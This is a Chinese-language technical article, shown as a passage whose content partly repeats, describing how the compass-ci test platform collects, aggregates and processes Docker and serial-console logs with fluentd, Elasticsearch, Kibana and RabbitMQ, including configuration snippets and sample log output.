05:40:23.000000000 +0800 scheduler-3000: {"level_num":2,"level":"INFO","time":"2022-01-17T05:40:23.450+0800","from":"172.17.0.1:40006","message":"access_record","status_code":200,"method":"GET","resource":"/boot.ipxe/mac/44-67-47-85-d5-48","testbox":"taishan200-2280-2s48p-256g--a1008","api":"boot","elapsed_time":1803608.442844,"elapsed":"1803608.44ms"} ``` - 日志级别 compass-ci的服务使用ruby或者crystal语言开发,两者之间对日志等级的定义不相同 我们以crystal的日志级别为准,对ruby重新进行定义 代码:$CCI_SRC/lib/json_logger.rb ``` class JSONLogger Logger LEVEL_INFO = { 'TRACE' => 0, 'DEBUG' => 1, 'INFO' => 2, 'NOTICE' => 3, 'WARN' => 4, 'ERROR' => 5, 'FATAL' => 6 }.freeze ``` - 日志格式 ``` json类型:{ # 日志级别 "level_num":2, # 日志级别 "level":"INFO", # 日志产生的时间 "time":"2022-01-17T05:40:10.925+0800", # 请求来源 "from":"172.17.0.1:37110", # 日志内容 "message":"access_record", # http状态码 "status_code":200, # 请求类型 "method":"GET", # 请求地址 "resource":"/boot.ipxe/mac/84-46-fe-73-b2-39", # 执行机名 "testbox":"taishan200-2280-2s64p-256g--a1004", # 相关的任务id "job_id": crystal1344467 # 接口耗时,ms "elapsed_time":1804795.552323, # 接口耗时,不带单位 "elapsed":"1804795.55ms" } ``` 代码:$CCI_SRC/src/lib/json_logger.cr ``` private def get_env_info(env : HTTP::Server::Context) @env_info["status_code"] = env.response.status_code @env_info["method"] = env.request.method @env_info["resource"] = env.request.resource @env_info["testbox"] = env.get?("testbox").to_s if env.get?("testbox") @env_info["job_id"] = env.get?("job_id").to_s if env.get?("job_id") @env_info["job_state"] = env.get?("job_state").to_s if env.get?("job_state") @env_info["api"] = env.get?("api").to_s if env.get?("api") set_elapsed(env) merge_env_log(env) end ``` ## 执行机串口日志 执行机执行任务时,会将串口以及一些关键日志保存到指定目录下:/srv/cci/serial/logs/$hostname 不同类型的执行机有不同的实现方式: - 物理机 通过部署conserver容器到ibmc管理机上 该容器会将集群物理机的串口日志重定向到ibmc管理机的指定目录 - qemu 启动qemu时,将日志进行重定向 关键代码: $CCI_SRC/providers/kvm.sh ``` run_qemu() { #append=( # rd.break=pre-mount # rd.debug=true #) if [ "$DEBUG" == "true" ];then "${kvm[@]}" "${arch_option[@]}" --append "${append}" else # The default value of serial in QEMU is stdio. # We use >> and 2>&1 to record serial, stdout, and stderr together to log_file "${kvm[@]}" "${arch_option[@]}" --append "${append}" >> $log_file 2>&1 run kernel/os once > one-dmesg-file >> upload to job's result dir data process, check 2 side match, warn email fi local return_code=$? [ $return_code -eq 0 ] || echo "[ERROR] qemu start return code is: $return_code" >> $log_file } ``` - docker 启动容器时,将docker日志重定向 关键代码:$CCI_SRC/providers/docker/run.sh ``` cmd=( docker run --rm --name ${job_id} --hostname $host.compass-ci.net --cpus $nr_cpu -m $memory --tmpfs /tmp:rw,exec,nosuid,nodev -e CCI_SRC=/c/compass-ci -v ${load_path}/lkp:/lkp -v ${load_path}/opt:/opt -v ${DIR}/bin:/root/sbin:ro -v $CCI_SRC:/c/compass-ci:ro -v /srv/git:/srv/git:ro -v /srv/result:/srv/result:ro -v /etc/localtime:/etc/localtime:ro -v ${busybox_path}:/usr/local/bin/busybox --log-driver json-file --log-opt max-size=10m --oom-score-adj="-1000" ${docker_image} /root/sbin/entrypoint.sh ) "${cmd[@]}" 2>&1 | tee -a "$log_dir" ``` - 串口日志流程 日志文件:/srv/cci/serial/logs/$hostname -> sub-fluentd -> master-fluentd -> rabbitmq -> serial-logging -> result/dmesg ## 日志收集聚合-fluentd 在我们的系统中分为sub-fluentd和master-fluentd两种服务 - fluentd-base sub-fluentd和master-fluentd依赖的基础镜像,直接构建即可 ``` cd $CCI_SRC/container/fluentd-base ./build ``` - sub-fluentd - 作用 收集所在机器上的docker日志以及串口日志,并转发到master-fluentd上 - 位置 部署到需要收集日志的机器上 - 部署 ``` cd $CCI_SRC/container/sub-fluentd ./build ./start ``` 用docker容器的方式部署到机器上 - 配置文件 配置文件$CCI_SRC/container/sub-fluentd/docker-fluentd.conf - 关键配置解读 ``` @type tail path /srv/cci/serial/logs/* pos_file /srv/cci/serial/fluentd-pos/serial.log.pos tag serial.* path_key serial_path refresh_interval 1s @type none ``` 配置tail输入插件,允许fluentd从文本文件的尾部读取事件,它的行为类似于tail -F命令 监听/srv/cci/serial/logs/目录下的所有文本文件,所以我们只需要把串口日志存到该目录下,就会被自动收集 ``` @type forward bind 0.0.0.0 ``` 配置forward输入插件侦听 TCP 套接字以接收事件流,接收网络上转发过来的日志 可以用来收集docker服务的日志,需要docker服务也做相应配置,将日志转发到sub-fluentd ``` @type forward flush_interval 0 send_timeout 60 heartbeat_interval 1 recover_wait 10 hard_timeout 60 master-fluentd host "#{ENV['MASTER_FLUENTD_HOST']}" port "#{ENV['MASTER_FLUENTD_PORT']}" ``` 配置forward输出插件将日志转发到master-fluentd节点,达到日志聚合的目的 - master-fluentd - 作用 接收集群里的sub-fluentd转发过来的日志,再将日志保存到es/rabbitmq里 - 位置 部署到主服务器上 - 部署 ``` cd $CCI_SRC/container/master-fluentd ./build ./start ``` 用docker容器的方式部署到服务器上 - 配置文件 $CCI_SRC/container/master-fluentd/docker-fluentd.conf - 关键配置解读 ``` @type forward bind 0.0.0.0 ``` 配置forward输入插件侦听 TCP 套接字以接收事件流,接收sub-fluentd转发过来的日志 ``` @type record_transformer enable_ruby time ${time.strftime('%Y-%m-%dT%H:%M:%S.%3N+0800')} ``` 往json格式的日志中加入time字段 ``` @type rabbitmq host 172.17.0.1 exchange serial-logging exchange_type fanout exchange_durable false heartbeat 10 @type json ``` 将收到的串口日志转发到rabbitmq中 ``` @type parser format json emit_invalid_record_to_error false key_name log reserve_data true ``` 将json日志中的log字段展开 原始日志: ``` { "container_id": "227c5ed4f008c84c345c18762c9aeae41207162f87df627b3b6e430f1bebe690", "container_name": "/s001-alpine-3005", "source": "stdout", "log": "{\"level_num\":2,\"level\":\"INFO\",\"time\":\"2021-12-16T10:08:00.350+0800\",\"from\":\"172.17.0.1:59526\",\"message\":\"access_record\",\"status_code\":101,\"method\":\"GET\",\"resource\":\"/ws/boot.ipxe/mac/0a-03-4b-56-32-3d\",\"testbox\":\"vm-2p4g.taishan200-2280-2s64p-256g--a45-3\"}", } ``` 展开后: ``` { "container_id": "227c5ed4f008c84c345c18762c9aeae41207162f87df627b3b6e430f1bebe690", "container_name": "/s001-alpine-3005", "source": "stdout", "log": "{\"level_num\":2,\"level\":\"INFO\",\"time\":\"2021-12-16T10:08:00.350+0800\",\"from\":\"172.17.0.1:59526\",\"message\":\"access_record\",\"status_code\":101,\" method\":\"GET\",\"resource\":\"/ws/boot.ipxe/mac/0a-03-4b-56-32-3d\",\"testbox\":\"vm-2p4g.taishan200-2280-2s64p-256g--a45-3\"}", "time": "2021-12-16T10:08:00.000+0800", "level_num": 2, "level": "INFO", "from": "172.17.0.1:59526", "message": "access_record", "status_code": 101, "method": "GET", "resource": "/ws/boot.ipxe/mac/0a-03-4b-56-32-3d", "testbox": "vm-2p4g.taishan200-2280-2s64p-256g--a45-3" } ``` 这样做的好处是:es会为展开后的字段设置索引,方便后续对日志的搜索分析 ``` @type copy @type elasticsearch host "#{ENV['LOGGING_ES_HOST']}" port "#{ENV['LOGGING_ES_PORT']}" user "#{ENV['LOGGING_ES_USER']}" password "#{ENV['LOGGING_ES_PASSWORD']}" suppress_type_name true flush_interval 1s num_threads 10 index_name ${tag} ssl_verify false log_es_400_reason true with_transporter_log true reconnect_on_error true reload_on_failure true reload_connections false template_overwrite template_name logging template_file /fluentd/mapping-template @type rabbitmq host 172.17.0.1 exchange docker-logging exchange_type fanout exchange_durable false heartbeat 10 @type json @type json ``` 将docker容器的日志转发存储到es和redis中 ## 日志处理 ### monitoring服务 - 需求 使用submit提交任务时,想要知道job执行到了哪个阶段,希望能把job执行过程的日志打印出来 - 数据来源 master-fluentd转存到rabbitmq的docker日志 - 功能 近实时的返回满足条件的日志,无法回溯 - api ws://$ip:20001/filter - 客户端如何使用 submit提交任务时添加'-m'选项: ``` hi8109@account-vm ~% submit -m borrow-1d.yaml testbox=dc-8g submit_id=65356462-2547-4c64-af3c-e58cc32fb473 submit /home/hi8109/lkp-tests/jobs/borrow-1d.yaml, got job id=z9.13283216 query=>{"job_id":["z9.13283216"]} connect to ws://172.168.131.2:20001/filter {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:45.164+0800","job_id":"z9.13283216","message":"","job_state":"submit"," 8g/centos-7-aarch64/86400/z9.13283216","status_code":200,"method":"POST","resource":"/submit_job","api":"submit_job","elapsed_ {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:45.262+0800","job_id":"z9.13283216","result_root":"/srv/result/borrow/2 216","job_state":"set result root","status_code":101,"method":"GET","resource":"/ws/boot.container/hostname/dc-8g.taishan200-2 200-2280-2s48p-256g--a70-9"} {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:45.467+0800","from":"172.17.0.1:53232","message":"access_record","statu .container/hostname/dc-8g.taishan200-2280-2s48p-256g--a70-9","testbox":"dc-8g.taishan200-2280-2s48p-256g--a70-9","job_id":"z9. {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:47.477+0800","from":"172.17.0.1:44714","message":"access_record","statu trd_tmpfs/z9.13283216/job.cgz","job_id":"z9.13283216","job_state":"download","api":"job_initrd_tmpfs","elapsed_time":0.581944, The dc-8g testbox is starting. Please wait about 30 seconds {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:52+0800","mac":"02-42-ac-11-00-03","ip":"","job_id":"z9.13283216","stat s48p-256g--a70-9","status_code":200,"method":"GET","resource":"/~lkp/cgi-bin/lkp-wtmp?tbox_name=dc-8g.taishan200-2280-2s48p-25 -03&ip=&job_id=z9.13283216","api":"lkp-wtmp","elapsed_time":75.77575,"elapsed":"75.78ms"} {"level_num":2,"level":"INFO","time":"2022-01-06T16:19:47.968+0800","from":"172.17.0.1:38220","message":"access_record","statu i-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13283216&job_state=running","job_id":"z9.13283216","ap .933762,"elapsed":"5447.93ms","job_state":"running","job_stage":"running"} ``` ### serial-logging服务 - 功能 在job的结果目录下生成dmesg文件 - 数据来源 master-fluentd转存到rabbitmq的串口日志 - 代码 $CCI_SRC/src/monitoring/parse_serial_logs.cr - 示例: ``` wuzhende@z9 /srv/result/build-pkg/2022-01-19/dc-16g/openeuler-20.03-pre-aarch64/pkgbuild-aur-j-java-testng-a6f1c79551cf6e/z9.13368603% ll total 1.1M -rw-r--r-- 1 lkp lkp 3.4K 2022-01-19 23:59 job.yaml -rwxrwxr-x 1 lkp lkp 4.1K 2022-01-19 23:59 job.sh -rw-rw-r-- 1 lkp lkp 1.4K 2022-01-20 00:00 time-debug -rw-rw-r-- 1 lkp lkp 860 2022-01-20 00:00 stdout -rw-rw-r-- 1 lkp lkp 373 2022-01-20 00:00 stderr -rw-rw-r-- 1 lkp lkp 33 2022-01-20 00:00 program_list -rw-rw-r-- 1 lkp lkp 1.4K 2022-01-20 00:00 output -rw-rw-r-- 1 lkp lkp 3.3K 2022-01-20 00:00 meminfo.gz -rw-rw-r-- 1 lkp lkp 43 2022-01-20 00:00 last_state -rw-rw-r-- 1 lkp lkp 634 2022-01-20 00:00 heartbeat -rw-rw-r-- 1 lkp lkp 218 2022-01-20 00:00 build-pkg -rw-rw-r-- 1 lkp lkp 24 2022-01-20 00:00 boot-time -rw-rw-r-- 1 root lkp 481 2022-01-20 00:00 stderr.json -rw-rw-r-- 1 root lkp 2.7K 2022-01-20 00:00 meminfo.json.gz -rw-rw-r-- 1 root lkp 3.7K 2022-01-20 00:00 dmesg -rw-rw-r-- 1 root lkp 97 2022-01-20 00:00 last_state.json -rw-rw-r-- 1 root lkp 1.5K 2022-01-20 00:00 stats.json wuzhende@z9 /srv/result/build-pkg/2022-01-19/dc-16g/openeuler-20.03-pre-aarch64/pkgbuild-aur-j-java-testng-a6f1c79551cf6e/z9.13368603% cat dmesg 2022-01-19 23:59:56 starting DOCKER http://172.168.131.2:3000/job_initrd_tmpfs/z9.13368603/job.cgz http://172.168.131.2:8800/upload-files/lkp-tests/aarch64/v2021.09.23.cgz http://172.168.131.2:8800/upload-files/lkp-tests/e9/e94df9bd6a2a9143ebffde853c79ed18.cgz 2022-01-20 00:00:00 [INFO] -- Kernel tests: Boot OK! % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2130 100 2130 0 0 2080k 0 --:--:-- --:--:-- --:--:-- 2080k System has not been booted with systemd as init system (PID 1). Can't operate. Failed to connect to bus: Host is down System has not been booted with systemd as init system (PID 1). Can't operate. Failed to connect to bus: Host is down /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-wtmp?tbox_name=dc-16g.taishan200-2280-2s48p-256g--a103-0&tbox_state=running&mac=02-42-ac-11-00-09&ip=172.17.0.9&job_id=z9.13368603 -O /dev/null download http://172.168.131.2:8800/initrd/pkg/container/openeuler/aarch64/20.03-pre/build-pkg/4.3.90-1.cgz /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:8800/initrd/pkg/container/openeuler/aarch64/20.03-pre/build-pkg/4.3.90-1.cgz -O /tmp/tmp.cgz 3193 blocks /lkp/lkp/src/bin/run-lkp RESULT_ROOT=/result/build-pkg/2022-01-19/dc-16g/openeuler-20.03-pre-aarch64/pkgbuild-aur-j-java-testng-a6f1c79551cf6e/z9.13368603 job=/lkp/scheduled/job.yaml result_service: raw_upload, RESULT_MNT: /172.168.131.2/result, RESULT_ROOT: /172.168.131.2/result/build-pkg/2022-01-19/dc-16g/openeuler-20.03-pre-aarch64/pkgbuild-aur-j-java-testng-a6f1c79551cf6e/z9.13368603, TMP_RESULT_ROOT: /tmp/lkp/result run-job /lkp/scheduled/job.yaml /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603&job_state=running -O /dev/null which: no time in (/root/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/lkp/lkp/src/bin:/lkp/lkp/src/sbin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/lkp/lkp/src/bin:/lkp/lkp/src/sbin) ==> Making package: java-testng 7.4.0-1 (Thu Jan 20 00:00:04 CST 2022) ==> Checking runtime dependencies... ==> Checking buildtime dependencies... ==> Retrieving sources... -> Downloading java-testng-7.4.0.tar.gz... curl: (7) Failed to connect to github.com port 443: Connection timed out ==> ERROR: Failure while downloading java-testng-7.4.0.tar.gz Aborting... /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603&job_state=post_run -O /dev/null kill 142 vmstat --timestamp -n 10 wait for background processes: 144 meminfo /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603&loadavg=1.87%201.87%201.66%202/2191%20477&start_time=1642608003&end_time=1642608036&& -O /dev/null /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-jobfile-append-var?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603&job_state=failed -O /dev/null /lkp/scheduled/job.sh: line 133: /lkp/scheduled/job.yaml: Permission denied /usr/bin/wget -q --timeout=1800 --tries=1 --local-encoding=UTF-8 http://172.168.131.2:3000/~lkp/cgi-bin/lkp-post-run?job_file=/lkp/scheduled/job.yaml&job_id=z9.13368603 -O /dev/null LKP: exiting Total DOCKER duration: 0.82 minutes ```
  • [openEuler] compass-ci日志系统
    # compass-ci日志系统 ## EFK日志系统 - compass-ci对日志系统的诉求 - 能够收集多种类型的日志,compass-ci集群有docker容器的日志、执行机的串口日志(日志文件)需要收集; - 能够快速聚合分散的日志进行集中管理,compass-ci集群的日志分散在多个地方:部署服务的服务器、执行任务的物理机、IBMC管理机 - 可视化的平台,方便对日志进行分析及展示 - 高效,集群会产生大量日志,需要系统能快速处理,不产生堆积 - 开源组件 结合以上诉求,compass-ci最终选择了EFK系统 - 在compass-ci中的使用 ``` docker/serial日志(生产) -> sub-fluentd(收集) -> master-fluentd(聚合) -> es(存储) -> kibana(展示) | monitoring - rabbitmq -> serial-logging -> job's result/dmesg file ``` ## 日志生产 ### docker服务日志 - 配置 启动sub-fluentd之后,docker需要做相应的配置将日志转发到sub-fluentd 默认情况下,Docker使用json-file日志驱动程序,该驱动程序在内部缓存容器日志为JSON(docker logs日志来源) - 全局配置 /etc/docker/daemon.json 需要重启docker服务全局配置才会生效 ``` { # 日志转发到fluentd "log-driver": "fluentd", "log-opts":{ # fluentd服务地址 "fluentd-address": "localhost:24225", # fluentd-docker异步设置,避免fluentd失去连接之后导致Docker容器异常 "fluentd-async-connect": "true", # 配置转发到fluentd日志的标签为容器名,用于区分不同容器的日志 "tag": "{{.Name}}" } } ``` - 单个docker容器配置 全局配置后所有的docker日志都会被转发到sub-fluentd,若未做全局配置,只想特定容器进行转发,可以使用以下配置 docker run --log-driver=fluentd --log-opt fluentd-address=fluentdhost:24225 --log-opt tag=xxx 有些日志信息比较敏感,不想转发到fluentd,可以单独配置为默认的json-file模式 docker run --log-driver=json-file - 日志流程 ``` docker -> sub-fluentd -> master-fluentd -> rabbitmq -> monitoring `----> es -> kibana ``` - es 存储到es是为了后续在kibana上搜索展示分析 - rabbitmq 存储到rabbitmq中间件,为monitoring服务提供数据 - monitoring服务 submit -m的服务端,近实时的返回job执行过程中与服务端交互产生的日志 - 日志内容 compass-ci的服务都是用docker的方式部署 - 非自主开发的服务,如es: ``` wuzhende@crystal ~% docker logs -f sub-fluentd | grep es-server01 2022-01-17 05:13:42.000000000 +0800 es-server01: {"type": "server", "timestamp": "2022-01-16T21:13:42,579Z", "level": "WARN", "component": "o.e.m.j.JvmGcMonitorService", "cluster.name": "docker-cluster", "node.name": "node-1", "message": "[gc][young][152465][89] duration [1s], collections [1]/[1.1s], total [1s]/[5.8s], memory [19.4gb]->[1.9gb]/[30gb], all_pools {[young] [17.5gb]->[0b]/[0b]}{[old] [1.4gb]->[1.5gb]/[30gb]}{[survivor] [367.5mb]->[389.8mb]/[0b]}", "cluster.uuid": "FJFweh9LQ6mKes6uwHQL_g", "node.id": "keFEKD-WTBe0tHF4fbS4MA" } 2022-01-17 05:13:42.000000000 +0800 es-server01: {"type": "server", "timestamp": "2022-01-16T21:13:42,579Z", "level": "WARN", "component": "o.e.m.j.JvmGcMonitorService", "cluster.name": "docker-cluster", "node.name": "node-1", "message": "[gc][152465] overhead, spent [1s] collecting in the last [1.1s]", "cluster.uuid": "FJFweh9LQ6mKes6uwHQL_g", "node.id": "keFEKD-WTBe0tHF4fbS4MA" } 2022-01-17 05:23:21.000000000 +0800 es-server01: {"type": "server", "timestamp": "2022-01-16T21:23:21,413Z", "level": "WARN", "component": "o.e.m.f.FsHealthService", "cluster.name": "docker-cluster", "node.name": "node-1", "message": "health check of [/srv/es/nodes/0] took [6002ms] which is above the warn threshold of [5s]", "cluster.uuid": "FJFweh9LQ6mKes6uwHQL_g", "node.id": "keFEKD-WTBe0tHF4fbS4MA" } ``` - 自主开发的服务,如调度器: ``` wuzhende@crystal ~% docker logs -f sub-fluentd | grep scheduler-3000 2022-01-17 05:39:59.000000000 +0800 scheduler-3000: {"level_num":2,"level":"INFO","time":"2022-01-17T05:39:59.902+0800","from":"172.17.0.1:52468","message":"access_record","status_code":200,"method":"GET","resource":"/boot.ipxe/mac/44-67-47-e9-79-c0","testbox":"sched-crystal-44-67-47-e9-79-c0","api":"boot","elapsed_time":1801792.188619,"elapsed":"1801792.19ms"} 2022-01-17 05:40:10.000000000 +0800 scheduler-3000: {"level_num":2,"level":"INFO","time":"2022-01-17T05:40:10.925+0800","from":"172.17.0.1:37110","message":"access_record","status_code":200,"method":"GET","resource":"/boot.ipxe/mac/84-46-fe-73-b2-39","testbox":"taishan200-2280-2s64p-256g--a1004","api":"boot","elapsed_time":1804795.552323,"elapsed":"1804795.55ms"} 2022-01-17 05:40:23.000000000 +0800 scheduler-3000: {"level_num":2,"level":"INFO","time":"2022-01-17T05:40:23.450+0800","from":"172.17.0.1:40006","message":"access_record","status_code":200,"method":"GET","resource":"/boot.ipxe/mac/44-67-47-85-d5-48","testbox":"taishan200-2280-2s48p-256g--a1008","api":"boot","elapsed_time":1803608.442844,"elapsed":"1803608.44ms"} ``` - 日志级别 compass-ci的服务使用ruby或者crystal语言开发,两者之间对日志等级的定义不相同 我们以crystal的日志级别为准,对ruby重新进行定义 代码:$CCI_SRC/lib/json_logger.rb ``` class JSONLogger Logger LEVEL_INFO = { 'TRACE' => 0, 'DEBUG' => 1, 'INFO' => 2, 'NOTICE' => 3, 'WARN' => 4, 'ERROR' => 5, 'FATAL' => 6 }.freeze ``` - 日志格式 ``` json类型:{ # 日志级别 "level_num":2, # 日志级别 "level":"INFO", # 日志产生的时间 "time":"2022-01-17T05:40:10.925+0800", # 请求来源 "from":"172.17.0.1:37110", # 日志内容 "message":"access_record", # http状态码 "status_code":200, # 请求类型 "method":"GET", # 请求地址 "resource":"/boot.ipxe/mac/84-46-fe-73-b2-39", # 执行机名 "testbox":"taishan200-2280-2s64p-256g--a1004", # 相关的任务id "job_id": crystal1344467 # 接口耗时,ms "elapsed_time":1804795.552323, # 接口耗时,不带单位 "elapsed":"1804795.55ms" } ``` 代码:$CCI_SRC/src/lib/json_logger.cr ``` private def get_env_info(env : HTTP::Server::Context) @env_info["status_code"] = env.response.status_code @env_info["method"] = env.request.method @env_info["resource"] = env.request.resource @env_info["testbox"] = env.get?("testbox").to_s if env.get?("testbox") @env_info["job_id"] = env.get?("job_id").to_s if env.get?("job_id") @env_info["job_state"] = env.get?("job_state").to_s if env.get?("job_state") @env_info["api"] = env.get?("api").to_s if env.get?("api") set_elapsed(env) merge_env_log(env) end ``` ## 执行机串口日志 执行机执行任务时,会将串口以及一些关键日志保存到指定目录下:/srv/cci/serial/logs/$hostname 不同类型的执行机有不同的实现方式: - 物理机 通过部署conserver容器到ibmc管理机上 该容器会将集群物理机的串口日志重定向到ibmc管理机的指定目录 - qemu 启动qemu时,将日志进行重定向 关键代码: $CCI_SRC/providers/kvm.sh ``` run_qemu() { #append=( # rd.break=pre-mount # rd.debug=true #) if [ "$DEBUG" == "true" ];then "${kvm[@]}" "${arch_option[@]}" --append "${append}" else # The default value of serial in QEMU is stdio. # We use >> and 2>&1 to record serial, stdout, and stderr together to log_file "${kvm[@]}" "${arch_option[@]}" --append "${append}" >> $log_file 2>&1 run kernel/os once > one-dmesg-file >> upload to job's result dir data process, check 2 side match, warn email fi local return_code=$? [ $return_code -eq 0 ] || echo "[ERROR] qemu start return code is: $return_code" >> $log_file } ``` - docker 启动容器时,将docker日志重定向 关键代码:$CCI_SRC/providers/docker/run.sh ``` cmd=( docker run --rm --name ${job_id} --hostname $host.compass-ci.net --cpus $nr_cpu -m $memory --tmpfs /tmp:rw,exec,nosuid,nodev -e CCI_SRC=/c/compass-ci -v ${load_path}/lkp:/lkp -v ${load_path}/opt:/opt -v ${DIR}/bin:/root/sbin:ro -v $CCI_SRC:/c/compass-ci:ro -v /srv/git:/srv/git:ro -v /srv/result:/srv/result:ro -v /etc/localtime:/etc/localtime:ro -v ${busybox_path}:/usr/local/bin/busybox --log-driver json-file --log-opt max-size=10m --oom-score-adj="-1000" ${docker_image} /root/sbin/entrypoint.sh ) "${cmd[@]}" 2>&1 | tee -a "$log_dir" ``` - 串口日志流程 日志文件:/srv/cci/serial/logs/$hostname -> sub-fluentd -> master-fluentd -> rabbitmq -> serial-logging -> result/dmesg ## 日志收集聚合-fluentd 在我们的系统中分为sub-fluentd和master-fluentd两种服务 - fluentd-base sub-fluentd和master-fluentd依赖的基础镜像,直接构建即可 ``` cd $CCI_SRC/container/fluentd-base ./build ``` - sub-fluentd - 作用 收集所在机器上的docker日志以及串口日志,并转发到master-fluentd上 - 位置 部署到需要收集日志的机器上 - 部署 ``` cd $CCI_SRC/container/sub-fluentd ./build ./start ``` 用docker容器的方式部署到机器上 - 配置文件 配置文件$CCI_SRC/container/sub-fluentd/docker-fluentd.conf - 关键配置解读 ``` @type tail path /srv/cci/serial/logs/* pos_file /srv/cci/serial/fluentd-pos/serial.log.pos tag serial.* path_key serial_path refresh_interval 1s @type none ``` 配置tail输入插件,允许fluentd从文本文件的尾部读取事件,它的行为类似于tail -F命令 监听/srv/cci/serial/logs/目录下的所有文本文件,所以我们只需要把串口日志存到该目录下,就会被自动收集 ``` @type forward bind 0.0.0.0 ``` 配置forward输入插件侦听 TCP 套接字以接收事件流,接收网络上转发过来的日志 可以用来收集docker服务的日志,需要docker服务也做相应配置,将日志转发到sub-fluentd ``` @type forward flush_interval 0 send_timeout 60 heartbeat_interval 1 recover_wait 10 hard_timeout 60 master-fluentd host "#{ENV['MASTER_FLUENTD_HOST']}" port "#{ENV['MASTER_FLUENTD_PORT']}" ``` 配置forward输出插件将日志转发到master-fluentd节点,达到日志聚合的目的 - master-fluentd - 作用 接收集群里的sub-fluentd转发过来的日志,再将日志保存到es/rabbitmq里 - 位置 部署到主服务器上 - 部署 ``` cd $CCI_SRC/container/master-fluentd ./build ./start ``` 用docker容器的方式部署到服务器上 - 配置文件 $CCI_SRC/container/master-fluentd/docker-fluentd.conf - 关键配置解读 ``` @type forward bind 0.0.0.0 ``` 配置forward输入插件侦听 TCP 套接字以接收事件流,接收sub-fluentd转发过来的日志 ``` @type record_transformer enable_ruby time ${time.strftime('%Y-%m-%dT%H:%M:%S.%3N+0800')} ``` 往json格式的日志中加入time字段 ``` @type rabbitmq host 172.17.0.1 exchange serial-logging exchange_type fanout exchange_durable false heartbeat 10 @type json ``` 将收到的串口日志转发到rabbitmq中 ``` @type parser format json emit_invalid_record_to_error false key_name log reserve_data true ``` 将json日志中的log字段展开 原始日志: ``` { "container_id": "227c5ed4f008c84c345c18762c9aeae41207162f87df627b3b6e430f1bebe690", "container_name": "/s001-alpine-3005", "source": "stdout", "log": "{\"level_num\":2,\"level\":\"INFO\",\"time\":\"2021-12-16T10:08:00.350+0800\",\"from\":\"172.17.0.1:59526\",\"message\":\"access_record\",\"status_code\":101,\"method\":\"GET\",\"resource\":\"/ws/boot.ipxe/mac/0a-03-4b-56-32-3d\",\"testbox\":\"vm-2p4g.taishan200-2280-2s64p-256g--a45-3\"}", } ``` 展开后: ``` { "container_id": "227c5ed4f008c84c345c18762c9aeae41207162f87df627b3b6e430f1bebe690", "container_name": "/s001-alpine-3005", "source": "stdout", "log": "{\"level_num\":2,\"level\":\"INFO\",\"time\":\"2021-12-16T10:08:00.350+0800\",\"from\":\"172.17.0.1:59526\",\"message\":\"access_record\",\"status_code\":101,\" method\":\"GET\",\"resource\":\"/ws/boot.ipxe/mac/0a-03-4b-56-32-3d\",\"testbox\":\"vm-2p4g.taishan200-2280-2s64p-256g--a45-3\"}", "time": "2021-12-16T10:08:00.000+0800", "level_num": 2, "level": "INFO", "from": "172.17.0.1:59526", "message": "access_record", "status_code": 101, "method": "GET", "resource": "/ws/boot.ipxe/mac/0a-03-4b-56-32-3d", "testbox": "vm-2p4g.taishan200-2280-2s64p-256g--a45-3" } ``` 这样做的好处是:es会为展开后的字段设置索引,方便后续对日志的搜索分析 ``` @type copy @type elasticsearch host "#{ENV['LOGGING_ES_HOST']}" port "#{ENV['LOGGING_ES_PORT']}" user "#{ENV['LOGGING_ES_USER']}" password "#{ENV['LOGGING_ES_PASSWORD']}" suppress_type_name true flush_interval 1s num_threads 10 index_name ${tag} ssl_verify false log_es_400_reason true with_transporter_log true reconnect_on_error true reload_on_failure true reload_connections false template_overwrite template_name logging template_file /fluentd/mapping-template @type rabbitmq host 172.17.0.1 exchange docker-logging exchange_type fanout exchange_durable false heartbeat 10 @type json @type json ``` 将docker容器的日志转发存储到es和redis中 ## 日志处理 ### monitoring服务 - 需求 使用submit提交任务时,想要知道job执行到了哪个阶段,希望能把job执行过程的日志打印出来 - 数据来源 master-fluentd转存到rabbitmq的docker日志 - 功能 近实时的返回满足条件的日志,无法回溯 - api ws://$ip:20001/filter - 客户端如何使用 submit提交任务时添加'-m'选项: ``` hi8109@account-vm ~% submit -m borrow-1d.yaml testbox=dc-8g submit_id=65356462-2547-4c64-af3c-e58cc32fb473 submit /home/hi8109/lkp-tests/jobs/borrow-1d.yaml, got job id=z9.13283216 query=>{"job_id":["z9.13283216"]} connect to ws://172.168.131.2:20001/filter {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:45.164+0800","job_id":"z9.13283216","message":"","job_state":"submit"," 8g/centos-7-aarch64/86400/z9.13283216","status_code":200,"method":"POST","resource":"/submit_job","api":"submit_job","elapsed_ {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:45.262+0800","job_id":"z9.13283216","result_root":"/srv/result/borrow/2 216","job_state":"set result root","status_code":101,"method":"GET","resource":"/ws/boot.container/hostname/dc-8g.taishan200-2 200-2280-2s48p-256g--a70-9"} {"level_num":2,"level":"INFO","time":"2022-01-06T16:18:45.467+0800","from":"172.17.0.1:53232","message":"access_record","statu 